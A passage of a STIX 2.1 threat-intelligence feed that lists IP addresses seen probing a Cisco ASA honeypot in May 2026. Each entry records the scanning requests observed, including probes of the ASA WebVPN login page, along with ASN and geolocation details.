      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--b9588c94-25ca-4a34-8946-ecf74dc7bdba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T03:20:10.000Z",
      "valid_until": "2026-06-14T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-13T02:26:19.577Z",
          "last_seen": "2026-05-13T02:26:40.574Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c063f7fa-2be4-4817-bd37-f58799fdfa86",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:20:10.000Z",
      "valid_until": "2026-06-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-14T00:48:35.516Z",
          "last_seen": "2026-05-30T10:57:18.389Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--f988bb6d-87b6-455e-aad1-55624ed80bc6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.168.216.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:20:10.000Z",
      "valid_until": "2026-06-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-14T01:04:44.117Z",
          "last_seen": "2026-05-30T05:37:47.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 399935,
          "as_org": "Hayashimo LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--07fbce54-2293-4124-bff4-b9d8ef9c888f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.91.1.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:20:10.000Z",
      "valid_until": "2026-06-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T01:07:58.573Z",
          "last_seen": "2026-05-14T01:07:58.573Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--3a65cbfd-b3c4-4969-bf59-8b78abf7819a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.174.186.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T01:20:10.000Z",
      "valid_until": "2026-06-15T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T00:56:35.161Z",
          "last_seen": "2026-05-14T00:56:35.161Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--0018979e-4a97-431d-bf49-5341040e0c38",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-14T02:36:03.617Z",
          "last_seen": "2026-05-14T02:36:11.411Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--74d49448-41b4-4198-a91c-8b9624340eae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-14T02:51:50.386Z",
          "last_seen": "2026-05-26T06:27:57.096Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--9cf74dc2-98df-4ac7-965b-2681002e11f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-14T02:49:19.387Z",
          "last_seen": "2026-05-14T02:50:55.576Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--2a7bdedc-fba8-4073-b656-1b4489d90131",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T02:44:17.612Z",
          "last_seen": "2026-05-14T02:44:17.612Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--1506f5f2-77a8-4237-aaf2-4c8189f54088",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T02:44:12.545Z",
          "last_seen": "2026-05-14T02:44:12.545Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--2fd745aa-b99d-4bb9-8fb4-e1c694a47b3c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T02:40:05.555Z",
          "last_seen": "2026-05-14T02:40:05.555Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--88d96bf6-e547-4c29-85f8-486a3ba3b4ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T02:46:15.967Z",
          "last_seen": "2026-05-14T02:46:15.967Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--7b1e15cf-3486-43bb-8d8a-ba29c75a98d6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T02:42:11.408Z",
          "last_seen": "2026-05-14T02:42:11.408Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--f7334936-d8e2-4f59-82cf-9ab04519a416",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T03:20:10.000Z",
      "valid_until": "2026-06-15T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-14T02:42:18.286Z",
          "last_seen": "2026-05-14T02:42:18.286Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:20:11.000Z",
      "valid_until": "2026-06-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-14T03:29:52.317Z",
          "last_seen": "2026-05-14T03:29:55.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 25737 (Jone Broadband LLC)",
      "id": "indicator--930d224e-f196-49d7-a4da-6fcbbaf4eeda",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.8.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T04:20:11.000Z",
      "valid_until": "2026-06-15T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-14T03:54:49.609Z",
          "last_seen": "2026-05-21T00:51:53.098Z",
          "country": "United States",
          "country_code": "US",
          "asn": 25737,
          "as_org": "Jone Broadband LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5632d811-0b25-4951-9b6a-ac79ece9e379",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.114.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:20:10.000Z",
      "valid_until": "2026-06-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-14T04:31:14.799Z",
          "last_seen": "2026-05-29T06:12:03.701Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7cd9c820-0f8f-4892-8c84-030d610325ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T05:20:10.000Z",
      "valid_until": "2026-06-15T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-14T04:32:57.641Z",
          "last_seen": "2026-05-29T23:19:18.041Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--f855d615-501d-491b-9842-fb2c70301caf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:20:10.000Z",
      "valid_until": "2026-06-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-14T05:45:31.740Z",
          "last_seen": "2026-05-26T00:30:51.322Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T06:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--2cbcf36a-6cd3-4896-898d-51839797ec98",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T06:20:10.000Z",
      "valid_until": "2026-06-15T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T00:32:00.699Z",
          "last_seen": "2026-05-29T12:47:27.686Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T08:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c1de3fce-83c6-47ea-82e4-e76676a94623",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-14T08:20:10.000Z",
      "valid_until": "2026-06-15T08:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-14T07:33:58.219Z",
          "last_seen": "2026-05-22T19:12:08.804Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-14T11:20:10.000Z",
